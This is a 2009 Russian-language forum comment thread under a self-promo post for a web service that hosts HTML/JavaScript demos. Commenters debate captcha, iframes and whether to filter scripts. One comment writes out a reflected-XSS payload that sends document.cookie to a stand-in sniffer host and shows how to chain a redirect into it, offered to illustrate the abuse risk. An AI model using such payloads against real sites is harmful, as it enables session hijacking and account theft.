Freem Jun 15 2009 at 13:33

Source.bz — Сервис демонстраций

1 min

Self Promo

+18

Comments

sergeyzwezdin Jun 15 2009 at 13:42

А где capcha?

Freem Jun 15 2009 at 13:44

Тьфу ты, забыл, спасибо. Надеюсь никто не будет затыкивать))))

UFO landed and left these words here

Freem Jun 15 2009 at 13:46

Искодный код в исходном код, как бы. Или действительно надо?

UFO landed and left these words here

Freem Jun 15 2009 at 13:49

Не подумал. Спасибо

Morfi Jun 15 2009 at 14:16

Мне кажется что не стоит, т.к. вид уже будет не тот с фремами. Лучше просто ссылку (если уж человек не может посмотреть исходный код).

dasty Jun 16 2009 at 02:07

Правильно.

Можно и тут все тестить
w3schools.com/js/tryit.asp?filename=tryjs_ifthen

Freem Jun 16 2009 at 11:41

О, ждите революцию) Не догадался в нативном превью заюзать iframe :-\

Rulexec Jun 15 2009 at 13:52

внесу в закладки, неплохо, может быть запретить javascriptы всяких редиректов и т.д., если сервис станет популярным, то, допустим на фрилансе говоришь заказчику — я хочу вот так вот demopreview.xexo.info/demo/view/b7c336729412877c4b6ffbef8d3a946e.html, а там бац, использование пассивной XSS какого-нибудь сайта (небойтесь, там всего-лишь редирект на хабр).

Freem Jun 15 2009 at 13:54

Как раз составлял список exception'ов

Freem Jun 15 2009 at 13:55

спасибо

Morfi Jun 15 2009 at 13:56

Ээ, как вы представляете там XSS?

Freem Jun 15 2009 at 14:00

Ну редирект на другой ресурс. Грубо на: site.com/search.php?q="&gt<sсript>alert('КуКу')</sсript>

Rulexec Jun 15 2009 at 14:01

ну допустим кто-то нашёл XSS на Yandex (что-нибудь аля shop.yandex.ru/?category="><script>window.location='http://sniff-here.com/?'+document.cookie</script>), т.е. кто зайдёт туда у того угонятся кукисы, и в этом сервисе создать демонстрацию:

<script>
window.location='http://shop.yandex.ru/?category="><script>window.location=\'http://sniff-here.com/?\'+document.cookie</script>';
</script>

Сначала редирект на XSS, а с XSS редирект на снифер с куками.

Morfi Jun 15 2009 at 14:08

Это уже XSS у Yandex.
С такойже простотой может человек использовать и .narod.ru и ещё много мест где выложить свой html.
И тут запрещать что то нет смысла, во первых javascript очень гибкий язык и любые запреты можно будет обойти а во вторых это уже ограничивает свободу на этом ресурсе (например я не смогу выложить пример с document.cookie или window.location если их запретят)

Rulexec Jun 15 2009 at 14:11

ну это да, тогда сдаюсь :(

grdigger Jun 15 2009 at 13:56

+ запретить iframe и тому подобное, тоже из-за безопасности и что бы не было рекламы с кучей попапов.

tenshi Jun 15 2009 at 14:06

и сделать сервис совсем бесполезным? XD

grdigger Jun 15 2009 at 14:13

а вы хотите получать ссылку на работу и ловить кучу попапов? да и iframe редко лоя хороших вещей использутеся.

SlamJam Jun 15 2009 at 15:07

По-моему, если вам дают ссылку на работу, а вы там увидите кучу попапов, то вы уже можете составить мнение о человеке, который вам дал такую ссылку. Некачественные источники отсеются. Это естественный отбор.

Freem Jun 15 2009 at 14:14

интересно, а если кто хочет показать пример именно с iframe, frameset и т.п.? Думаю просто не нужно тупо ходить по всем ссылкам которые встречаешь. Это ведь может провернуть кто угодно и на своем хомяке. Хотя заставил задуматься, да.

tenshi Jun 15 2009 at 14:00

без аналитикса совсем никак?

Freem Jun 15 2009 at 14:02

Если очень критично могу убрать или поставить другое что-нибудь.

tenshi Jun 15 2009 at 14:13

я к тому, что иногда требуется полный контроль над страницей, а не только над внутренностями body.
например, подключить xslt, прописать xmlns, мету для ie8…

Freem Jun 15 2009 at 14:16

А если это делать в конструкторе (справа, в сером div'е), будет достаточно? Старался максимально упростить процесс верстки.

tenshi Jun 15 2009 at 22:55

проще просто сделать пресет с базовым хтмл и поставить курсор внутрь боди…

Freem Jun 16 2009 at 12:06

Думаю, наверное к этому и приду

grdigger Jun 15 2009 at 14:18

можно сделать что то типа такого: грузится страничка с iframe src= «url» и url заменяется на iframe.html с вашего сервера. и рядом ссылка вида «Если хотите посмотреть с включеным iframe жмякните сюда». Ну и для js тож самое можно, что б пользователь сам выбирал что ему смотреть.

Morfi Jun 15 2009 at 14:29

Зачем такие сложности то?
Вы поупапов боитесь? А на сайт который в первый раз заходите, не боитесь поупапов?

Тут максимум удобности для разработчика.

grdigger Jun 15 2009 at 15:47

угу, безумно боюсь, так боюсь что аж кушать не могу. попап привел для примера. можно засунуть любую гадость начинаю от adware заканчивая чем угодно. советую взять за правило, что приложения должно быть сначала безопастным для пользователя и только потом удобным.

Morfi Jun 15 2009 at 16:17

А если человек на своем хостинге выложит такую страницу? Хостерам тоже фильтровать все файлы пользователя на iframe и поупапы?

grdigger Jun 15 2009 at 16:22

мы сейчас говорим о сервисе который сделал Freem, а не о каком то гипотетическом хостинге.

Morfi Jun 15 2009 at 16:32

Я просто имею ввиду тут не нужны ограничения, это только усложнит пользование сервисом но безопасность почти не увеличит.

grdigger Jun 15 2009 at 16:59

дело ваше, я всего лишь изложил свою точку зрения и вариант решения.

Freem Jun 15 2009 at 14:22

Простите, допустил не простительную оплошность, скоро все верну на место.

Freem Jun 15 2009 at 14:38

Ух. всё)

Freem Jun 15 2009 at 14:46

На счет ограничений по Javascript, посмотрите на этот код. Я право, не знаю как с ним бороться. Посему накладываю ответственность, на автора, а также на выложившего ссылку для публичного или личного доступа

Rulexec Jun 15 2009 at 14:49

вроде как ничего не произошло :)

javascript://xn--alert('')-11ha1ib/ какой-то

Freem Jun 15 2009 at 14:50

Браузер? У меня Опера10b. Работает

Freem Jun 15 2009 at 14:52

Помотрел FF не собрал код, IE собрал

Freem Jun 15 2009 at 14:49

опять же, глупо будет запрещать подтягивать внешние JS (те-же фреймворки)

Freem Jun 15 2009 at 15:07

Пошел смотреть kcaptcha. Подом подумал, что нет ничего проще как с помощью нативного проView, забивать данные в поле капчи нужные данные)))
всётакие ее и поставлю)

Freem Jun 15 2009 at 15:08

аут. С помощью нативного преView, забивать нужные данные в поле капчи )))

NickMitin Jun 15 2009 at 18:45

DOCTYPE в выпадайке?

Freem Jun 16 2009 at 12:05

Подумаю, в выпадайке)

danilissimus Jun 15 2009 at 19:13

Хабраэффект го! :)

MagaSoft Jun 15 2009 at 20:05

Хьасан, суна хаар хьо Iийра воций цхьаъ ца дича ;-)
Дала аьтто бойл!

dasty Jun 16 2009 at 02:08

Вы ошиблись интернетом

Freem Jun 16 2009 at 11:43

О! Дел рез хийл!

MTonly Jun 16 2009 at 02:09

Нажатие клавиши Tab полезно перехватывать и вставлять горизонтальный отступ (как в обычных редакторах кода), иначе сервис можно будет использовать только в режиме копирования/вставки.